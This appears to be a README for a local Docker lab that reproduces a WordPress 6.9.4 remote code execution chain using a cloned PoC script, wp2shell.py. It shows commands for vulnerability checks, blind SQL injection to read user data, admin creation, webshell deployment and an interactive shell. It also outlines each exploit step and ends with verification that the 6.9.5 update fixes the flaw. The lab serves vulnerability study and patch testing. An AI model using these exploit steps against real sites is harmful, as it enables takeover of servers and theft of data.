.
├── docker-compose.yml     # Lab: WordPress 6.9.4 + MariaDB 11 + phpMyAdmin
├── exploit/               # PoC exploit (GitHub에서 clone)
│   └── wp2shell.py        # Full RCE exploit
├── REPORT.md              # Root cause 분석 보고서
└── README.md

docker compose up -d

docker compose logs -f wpcli

git clone https://github.com/0xsha/wp2shell.git exploit

cd exploit

# Check vulnerability (non-destructive)
python wp2shell.py check http://localhost:8080

# Extract data qua blind SQLi
python wp2shell.py read http://localhost:8080 --preset users

# RCE — admin 생성 + webshell 배포 + command 실행
python wp2shell.py shell http://localhost:8080 --cmd id

# Interactive shell
python wp2shell.py shell http://localhost:8080 -i

1. POST /wp-json/batch/v1
   └─ Sub-request[0]: malformed path → parse error
   └─ Sub-request[1]: /wp/v2/posts + author_exclude=<SQLi>
   └─ Sub-request[2]: sacrificial route
   → $matches[] 인덱스 어긋남 → req[1]이 req[2]의 handler를 받음
   → permission_callback 우회 → WP_Query에 SQLi

2. SQL Injection (author__not_in)
   → Scalar string이 is_array() 검사 우회
   → Raw SQL이 WHERE clause에 inject

3. Object Hydration → oEmbed Write → Parent Loop Repair
   → Poisoned WP_Post 객체가 database에 persist

4. Changeset Privilege Escalation
   → WordPress가 current_user를 admin으로 switch

5. Nested REST Request
   → 새 admin 계정 생성 (비밀번호 크래킹 불필요)

6. Login + Upload webshell plugin → RCE

# Update WordPress trong container
docker exec -it wp2shell-lab-wp-1 bash -c \
  "curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && \
   chmod +x wp-cli.phar && \
   ./wp-cli.phar core update --version=6.9.5 --allow-root"

# Re-run exploit — phải fail
python exploit/wp2shell.py check http://localhost:8080

docker compose down -v